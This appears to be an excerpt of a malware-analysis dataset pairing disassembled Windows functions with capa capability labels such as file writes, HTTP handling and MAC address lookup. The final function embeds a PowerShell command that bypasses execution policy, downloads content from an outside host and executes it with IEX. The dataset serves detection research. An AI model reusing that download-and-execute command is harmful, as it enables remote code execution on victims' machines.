joyce8/EMBER2024-capa huggingface dataset:
Function at 0x427160
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44ce78
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push ebx
push esi
push edi
mov eax, dword [0x48b088]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
lea eax, [esi + 0x100]
xor ebx, ebx
push eax
mov dword [ebp - 0x18], eax
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov byte [ebp - 0x14], 1
mov ecx, dword [ebp + 0xc]
add dword [esi + 0x138], ecx
mov eax, dword [esi + 0xd8]
adc dword [esi + 0x13c], ebx
mov dword [ebp - 4], ebx
test eax, eax
je 0x4271dd
push ebx
lea edx, [ebp + 0xc]
push edx
push ecx
push dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x4271d9
call fcn.00415b60
mov ebx, eax
jmp 0x42723b
xor ebx, ebx
jmp 0x42723b
mov eax, dword [esi + 0xb8]
lea edi, [esi + 0xb4]
sub eax, dword [edi]
jne 0x42721d
mov eax, dword [esi + 0x120]
and eax, dword [esi + 0x124]
cmp eax, 0xffffffff
mov eax, dword [edi + 8]
je 0x427209
mov ecx, dword [esi + 0x120]
jmp 0x42720f
mov ecx, dword [esi + 0xd4]
sub eax, dword [edi]
cmp ecx, eax
jbe 0x42721d
push ecx
mov ecx, edi
call fcn.004280c0
mov ecx, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
mov byte [ebp - 0x10], 0
add eax, ecx
push dword [ebp - 0x10]
push eax
push ecx
push dword [esi + 0xb8]
mov ecx, edi
call fcn.00423e60
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 0x34]
lea eax, [esi + 0x100]
push eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x4273d0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, ecx
push edi
lea ebx, [esi + 0x100]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [esi + 0xe8]
test eax, eax
je 0x42748a
push 0
lea ecx, [ebp - 4]
mov dword [ebp - 4], 0
push ecx
push dword [esi + 0xe4]
push dword [esi + 0xe0]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x427427
call fcn.00415b60
mov edi, eax
test edi, edi
js 0x4274ba
push 0
push dword [ebp - 4]
push dword [esi + 0xe0]
push dword [esi + 4]
call dword [sym.imp.WINHTTP.dll_WinHttpWriteData]
test eax, eax
jne 0x42744a
call fcn.00415b60
mov edi, eax
test edi, edi
js 0x4274ba
mov eax, dword [ebp - 4]
add dword [esi + 0xf8], eax
adc dword [esi + 0xfc], 0
mov eax, dword [esi + 0xfc]
cmp eax, dword [esi + 0xf4]
jb 0x427478
ja 0x4274b5
mov eax, dword [esi + 0xf8]
cmp eax, dword [esi + 0xf0]
jae 0x4274b5
push ebx
xor edi, edi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [esi + 0xc4]
test eax, eax
je 0x4274b5
push 0
push eax
push dword [esi + 0xc0]
push dword [esi + 4]
call dword [sym.imp.WINHTTP.dll_WinHttpWriteData]
test eax, eax
jne 0x4274b5
call fcn.00415b60
mov edi, eax
test edi, edi
js 0x4274ba
mov edi, 1
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4274d0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [0x48b088]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
lea eax, [ebp - 0x20c]
mov ebx, ecx
push eax
push 0
push 0
push 0x23
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
js 0x42761c
push str.Uncheckyuclogfile.bin
lea eax, [ebp - 0x20c]
push 0x104
push eax
call fcn.004373ff
add esp, 0xc
test eax, eax
je 0x427534
mov eax, 0x8007007a
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00431ac5
mov esp, ebp
pop ebp
ret
push edi
call fcn.00423c40
mov edi, eax
test edi, edi
jne 0x427555
call fcn.00415b60
pop edi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00431ac5
mov esp, ebp
pop ebp
ret
push esi
mov esi, dword [ebx + 4]
mov dword [ebp - 0x218], 0xc
mov dword [ebp - 0x214], edi
mov dword [ebp - 0x210], 0
test esi, esi
je 0x4275d3
cmp dword [esi], 0
je 0x4275c8
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
jne 0x427590
or eax, 0xffffffff
jmp 0x4275f7
push str.CreateFileTransactedW
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x4275ce
push 0
push 0
push dword [esi]
lea ecx, [ebp - 0x218]
push 0
push pe_nt_image_headers32
push 4
push ecx
push 3
push 0xc0000000
lea ecx, [ebp - 0x20c]
push ecx
call eax
jmp 0x4275f7
cmp dword [esi + 4], 0
jne 0x4275d3
or eax, 0xffffffff
jmp 0x4275f7
push 0
push pe_nt_image_headers32
push 4
lea eax, [ebp - 0x218]
push eax
push 3
push 0xc0000000
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, 0xffffffff
jne 0x427605
call fcn.00415b60
mov esi, eax
jmp 0x427609
mov dword [ebx], eax
xor esi, esi
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
xor eax, eax
test esi, esi
setns al
dec eax
and eax, esi
pop esi
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.00431ac5
mov esp, ebp
pop ebp
ret

Function at 0x427630
Capabilities:
Read http header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov eax, dword [0x48b088]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov edi, dword [ebp + 8]
xor eax, eax
push eax
mov word [ebp - 0x44], ax
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x44]
mov dword [edi], 0xffffffff
push eax
push 0
push 5
mov dword [edi + 4], 0xffffffff
push dword [ecx + 4]
mov dword [ebp - 0x48], 0x40
call dword [sym.imp.WINHTTP.dll_WinHttpQueryHeaders]
test eax, eax
jne 0x427696
call fcn.00415b60
mov esi, eax
test esi, esi
jns 0x427698
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00431ac5
mov esp, ebp
pop ebp
ret 4
xor esi, esi
lea eax, [ebp - 0x44]
push eax
call fcn.0043b567
mov ecx, dword [ebp - 4]
add esp, 4
mov dword [edi], eax
xor ecx, ebp
mov dword [edi + 4], edx
mov eax, esi
pop edi
pop esi
call fcn.00431ac5
mov esp, ebp
pop ebp
ret 4
Function at 0x427a10
Capabilities:
Check http status code
Delete file
Read http header
Receive http response

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push dword [ebp + 0xc]
mov esi, ecx
push dword [ebp + 8]
call fcn.004277f0
mov ebx, eax
test ebx, ebx
jns 0x427a77
mov ecx, esi
call fcn.004276c0
lea edi, [esi + 0x100]
push edi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esi + 0xac], 0
je 0x427a65
add esi, 0x9c
cmp dword [esi + 0x14], 8
jb 0x427a55
mov esi, dword [esi]
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x427a65
call fcn.00415b60
push edi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret 8
mov ebx, dword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
lea ecx, [ecx]
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 0x38]
mov edi, eax
test edi, edi
js 0x427af6
cmp edi, 1
jne 0x427a80
push 0
push dword [esi + 4]
call ebx
test eax, eax
jne 0x427aa8
call fcn.00415b60
mov edi, eax
test edi, edi
js 0x427af6
push 0
lea eax, [ebp - 4]
mov dword [ebp + 8], 0
push eax
lea eax, [ebp + 8]
mov dword [ebp - 4], 4
push eax
push 0
push 0x20000013
push dword [esi + 4]
call dword [sym.imp.WINHTTP.dll_WinHttpQueryHeaders]
test eax, eax
jne 0x427adf
call fcn.00415b60
mov edi, eax
test edi, edi
js 0x427af6
mov eax, dword [ebp + 8]
cmp eax, 0x197
jne 0x427b0f
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 0x20]
mov edi, eax
test edi, edi
jns 0x427a80
mov ecx, esi
call fcn.004276c0
mov ecx, esi
call fcn.00425bc0
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
cmp eax, 0x191
jne 0x427b1f
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 0x24]
jmp 0x427af0
cmp eax, 0xc8
je 0x427b61
cmp eax, 0xce
je 0x427b61
mov ecx, esi
mov dword [esi + 0x11c], 1
mov dword [esi + 0x118], eax
call fcn.004276c0
mov ecx, esi
call fcn.00425bc0
push 0x2f79
call fcn.004169d0
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
mov dword [esi + 0x118], eax
mov ecx, esi
lea eax, [esi + 0x120]
mov dword [esi + 0x11c], 1
push eax
call fcn.00427630
mov ebx, dword [sym.imp.WINHTTP.dll_WinHttpReadData]
mov dword [ebp + 0xc], 0
lea esp, [esp]
lea eax, [ebp + 0xc]
push eax
push dword [esi + 0xd4]
push dword [esi + 0xd0]
push dword [esi + 4]
call ebx
test eax, eax
jne 0x427bb8
call fcn.00415b60
mov edi, eax
test edi, edi
js 0x427af6
mov ecx, dword [ebp + 0xc]
test ecx, ecx
je 0x427bdd
mov eax, dword [esi]
push ecx
push dword [esi + 0xd0]
mov ecx, esi
call dword [eax + 0x30]
mov edi, eax
test edi, edi
js 0x427af6
cmp dword [ebp + 0xc], 0
jne 0x427b90
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x42f030
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44d72b
mov eax, dword fs:[0]
push eax
sub esp, 0x440
mov eax, dword [0x48b088]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x20a
lea eax, [ebp - 0x428]
mov dword [ebp - 0x444], 0
push 0
push eax
call fcn.00434d70
push 0x20a
lea eax, [ebp - 0x21c]
push 0
push eax
call fcn.00434d70
add esp, 0x18
mov dword [ebp - 0x430], 0
xor eax, eax
mov dword [ebp - 0x42c], 7
lea ecx, [ebp - 0x440]
mov word [ebp - 0x440], ax
push 3
push 0x461b44
call fcn.004068e0
cmp byte [ebp + 8], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0x44c], 0
mov dword [ebp - 0x448], 0
jne 0x42f107
lea eax, [ebp - 0x440]
push eax
call fcn.0042f180
add esp, 4
cmp dword [ebp - 0x42c], 8
jb 0x42f0ff
mov eax, dword [ebp - 0x440]
jmp 0x42f109
lea eax, [ebp - 0x440]
jmp 0x42f109
xor eax, eax
push 0x105
lea ecx, [ebp - 0x21c]
push ecx
lea ecx, [ebp - 0x448]
push ecx
lea ecx, [ebp - 0x44c]
push ecx
lea ecx, [ebp - 0x444]
push ecx
push 0x105
lea ecx, [ebp - 0x428]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
mov ecx, dword [ebp - 0x42c]
mov esi, dword [ebp - 0x444]
cmp ecx, 8
jb 0x42f161
inc ecx
push ecx
push dword [ebp - 0x440]
lea ecx, [ebp - 0x440]
call fcn.00406780
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00431ac5
mov esp, ebp
pop ebp
ret
Function at 0x42f2c0
Capabilities:
Get mac address on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44d7b6
mov eax, dword fs:[0]
push eax
mov eax, 0x5338
call fcn.00432670
mov eax, dword [0x48b088]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push dword [ebp - 0x5344]
mov edi, dword [ebp + 8]
push edi
push dword [edi + 4]
push dword [edi]
call fcn.00429120
mov eax, dword [edi]
push 0x5100
mov dword [edi + 4], eax
lea eax, [ebp - 0x5310]
push 0
push eax
call fcn.00434d70
add esp, 0x1c
mov dword [ebp - 0x5344], 0x5100
lea eax, [ebp - 0x5344]
push eax
lea eax, [ebp - 0x5310]
push eax
call sub.IPHLPAPI.DLL_GetAdaptersInfo
test eax, eax
je 0x42f348
xor al, al
jmp 0x42f4bc
push 0x200
lea eax, [ebp - 0x210]
push 0
push eax
lea esi, [ebp - 0x5310]
call fcn.00434d70
add esp, 0xc
jmp 0x42f370
cmp dword [esi + 0x1a0], 6
jne 0x42f4b0
push 0x18
push 0x461aa8
lea ecx, [ebp - 0x5328]
mov dword [ebp - 0x5318], 0
mov dword [ebp - 0x5314], 0xf
mov byte [ebp - 0x5328], 0
call fcn.0042ca50
cmp dword [ebp - 0x5314], 0x10
mov ecx, dword [ebp - 0x5328]
mov dword [ebp - 4], 0
jae 0x42f3c6
lea ecx, [ebp - 0x5328]
movzx eax, byte [esi + 0x199]
push eax
movzx eax, byte [esi + 0x198]
push eax
movzx eax, byte [esi + 0x197]
push eax
movzx eax, byte [esi + 0x196]
push eax
movzx eax, byte [esi + 0x195]
push eax
movzx eax, byte [esi + 0x194]
push eax
push ecx
lea eax, [ebp - 0x210]
push 0x200
push eax
call fcn.0042e620
add esp, 0x24
cmp eax, 0xffffffff
je 0x42f46d
lea eax, [ebp - 0x210]
mov dword [ebp - 0x5330], 0
mov dword [ebp - 0x532c], 0xf
lea edx, [eax + 1]
mov byte [ebp - 0x5340], 0
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x42f434
sub eax, edx
lea ecx, [ebp - 0x5340]
push eax
lea eax, [ebp - 0x210]
push eax
call fcn.0042ca50
lea eax, [ebp - 0x5340]
mov byte [ebp - 4], 1
push eax
mov ecx, edi
call fcn.0042ed00
lea ecx, [ebp - 0x5340]
call fcn.0042c5f0
mov eax, dword [ebp - 0x5314]
mov dword [ebp - 4], 0xffffffff
cmp eax, 0x10
jb 0x42f4b0
mov ecx, dword [ebp - 0x5328]
inc eax
cmp eax, 0x1000
jb 0x42f4a7
test cl, 0x1f
jne 0x42f4d7
mov eax, dword [ecx - 4]
cmp eax, ecx
jae 0x42f4d7
sub ecx, eax
cmp ecx, 4
jb 0x42f4d7
cmp ecx, 0x23
ja 0x42f4d7
mov ecx, eax
push ecx
call fcn.00431ac0
add esp, 4
mov esi, dword [esi]
test esi, esi
jne 0x42f370
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00431ac5
mov esp, ebp
pop ebp
ret
call fcn.00437aa1
int3

Function at 0x436933
Capabilities:
Allocate thread local storage

Disassembly:
push ebp
mov ebp, esp
push esi
push 0x463b8c
push 0x463b84
push str.FlsAlloc
push 0
call fcn.004368b3
mov esi, eax
add esp, 0x10
test esi, esi
je 0x436965
push dword [ebp + 8]
mov ecx, esi
call fcn.0043269d
call esi
pop esi
pop ebp
ret
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsAlloc]
Function at 0x4369a7
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
push esi
push 0x463b9c
push 0x463b94
push str.FlsGetValue
push 2
call fcn.004368b3
add esp, 0x10
mov esi, eax
push dword [ebp + 8]
test esi, esi
je 0x4369d8
mov ecx, esi
call fcn.0043269d
call esi
jmp 0x4369de
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
pop esi
pop ebp
ret

Function at 0x4369e1
Capabilities:
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push esi
push 0x463ba4
push 0x463b9c
push str.FlsSetValue
push 3
call fcn.004368b3
add esp, 0x10
mov esi, eax
push dword [ebp + 0xc]
push dword [ebp + 8]
test esi, esi
je 0x436a15
mov ecx, esi
call fcn.0043269d
call esi
jmp 0x436a1b
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
pop esi
pop ebp
ret
Function at 0x10001410
Capabilities:
Create thread

Disassembly:
cmp byte [0x1001e444], 1
je 0x1000143c
push 0
push 0
push 1
push 0x100011d0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x1000143c
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
ret
xor al, al
ret

Function at 0x10001440
Capabilities:
Create thread

Disassembly:
cmp byte [0x1001e444], 1
je 0x1000146c
push 0
push 0
push 2
push 0x100011d0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x1000146c
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
ret
xor al, al
ret
Function at 0x100082fc
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x1000833b
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1000833b
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1000833b
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x1000833b
cmp dword [ecx + 0x74], 0xe
jbe 0x1000833b
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x1000c0b7
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x1000c154
push ebx
push esi
call fcn.1000c080
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.1000c014
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x1000c101
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1000c153
push edi
push eax
call fcn.1000900c
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x1000c121
call fcn.10008fd2
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1000c152
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.1000c014
add esp, 0x20
test eax, eax
jne 0x1000c140
push edi
call fcn.10008fd2
jmp 0x1000c148
push ebx
call fcn.10008fd2
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x1000c354
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10016c68
push 0x10016c60
push str.FlsAlloc
push 0x1f
call fcn.1000c270
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1000c388
push dword [ebp + 8]
mov ecx, esi
call dword [0x10015150]
call esi
jmp 0x1000c38e
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x1000c3d2
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10016c78
push 0x10016c70
push str.FlsGetValue
push 0x21
call fcn.1000c270
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1000c409
push dword [ebp + 8]
mov ecx, esi
call dword [0x10015150]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x1000c411
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10016c80
push 0x10016c78
push str.FlsSetValue
push 0x22
call fcn.1000c270
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1000c44b
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x10015150]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x10013a20
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x10013a4d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x10013a4d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x401970
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call fcn.00407ea0
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sub.msvcrt.dll_fwrite
mov dword [esp], 2
call fcn.00407ea0
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
lea esi, [esi]

Function at 0x4019d0
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x30
mov esi, dword [0xa2c07c]
test esi, esi
jle 0x401af0
mov eax, dword [0xa2c080]
xor ecx, ecx
add eax, 0xc
mov edx, dword [eax]
cmp edx, ebx
ja 0x401a04
mov edi, dword [eax + 4]
add edx, dword [edi + 8]
cmp ebx, edx
jb 0x401a87
add ecx, 1
add eax, 0x14
cmp ecx, esi
jne 0x4019f0
mov dword [esp], ebx
call fcn.00402350
mov edi, eax
test eax, eax
je 0x401b17
mov eax, dword [0xa2c080]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call fcn.00402490
mov edx, dword [0xa2c080]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x401af7
mov eax, dword [esp + 0x28]
lea edx, [eax - 0x40]
and edx, 0xffffffbf
je 0x401a80
lea edx, [eax - 4]
and edx, 0xfffffffb
jne 0x401a90
add dword [0xa2c07c], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
cmp eax, 2
mov edx, 0x40
mov eax, 4
mov ecx, dword [esp + 0x20]
cmovne eax, edx
mov edx, dword [esp + 0x14]
add ebx, dword [0xa2c080]
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x401a80
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call fcn.00401970
lea esi, [esi]
lea esi, [esi]
xor esi, esi
jmp 0x401a0e
mov eax, dword [0xa2c080]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call fcn.00401970
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call fcn.00401970
lea esi, [esi]
nop
Function at 0x401fd0
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0xa2c098
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0xa2c090]
sub esp, 4
test ebx, ebx
je 0x402025
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x40201e
test esi, esi
je 0x40201e
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x402000
mov dword [esp], 0xa2c098
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x402350
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [0x400000], 0x5a4d
jne 0x402375
mov ecx, dword [0x40003c]
cmp dword [ecx + 0x400000], 0x4550
lea edx, [ecx + 0x400000]
je 0x402380
ret
cmp word [ecx + 0x400018], 0x10b
jne 0x402375
push esi
movzx eax, word [ecx + 0x400014]
push ebx
movzx esi, word [ecx + 0x400006]
mov ebx, dword [esp + 0xc]
lea eax, [edx + eax + 0x18]
sub ebx, 0x400000
test esi, esi
je 0x4023c8
xor ecx, ecx
nop
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0x4023be
add edx, dword [eax + 8]
cmp ebx, edx
jb 0x4023ca
add ecx, 1
add eax, 0x28
cmp ecx, esi
jne 0x4023b0
xor eax, eax
pop ebx
pop esi
ret
Function at 0x40e190
Capabilities:
Reference http user-agent string
Run powershell expression

Disassembly:
sub esp, 0x1000
or dword [esp], 0
sub esp, 0x3c
mov eax, dword [0xa2c044]
mov dword [esp + 0x102c], eax
xor eax, eax
mov dword [esp + 4], 0x400
lea eax, [esp + 0x2c]
mov dword [esp], eax
call fcn.004095ec
mov dword [esp + 4], str._c_powershell__NoP__NonI__ExecutionPolicy_Bypass__Command___Resp__Invoke_WebRequest__Uri_https:__update_ledger.net_update__UseBasicParsing__UserAgent_Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_102.0.0.0_Safari_537.36___Scr___System.Text.Encoding_::UTF8.GetString__Resp.Content___IEX__Scr_
lea eax, [esp + 0x2c]
mov dword [esp], eax
call fcn.0040e32c
mov dword [esp + 4], 0x400
lea eax, [esp + 0x82c]
mov dword [esp], eax
call fcn.004095ec
mov dword [esp + 4], 0x9c
mov dword [esp], 0x34
call fcn.0040a0b4
mov edx, eax
mov dword [esp + 8], 0x400
lea eax, [esp + 0x82c]
mov dword [esp + 4], eax
mov dword [esp], 0x767d60
call edx
sub esp, 0xc
mov dword [esp + 0x28], eax
cmp dword [esp + 0x28], 0
je 0x40e241
cmp dword [esp + 0x28], 0x3ff
ja 0x40e241
movzx eax, word [esp + 0x82c]
test ax, ax
jne 0x40e248
mov eax, 0
jmp 0x40e29a
mov dword [esp + 4], 0x6e
mov dword [esp], 0x39
call fcn.0040a0b4
mov edx, eax
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
lea eax, [esp + 0x2c]
mov dword [esp + 0xc], eax
lea eax, [esp + 0x82c]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0
call edx
sub esp, 0x18
mov eax, 1
mov ecx, dword [esp + 0x102c]
sub ecx, dword [0xa2c044]
je 0x40e2ae
call fcn.004016b0
add esp, 0x103c
ret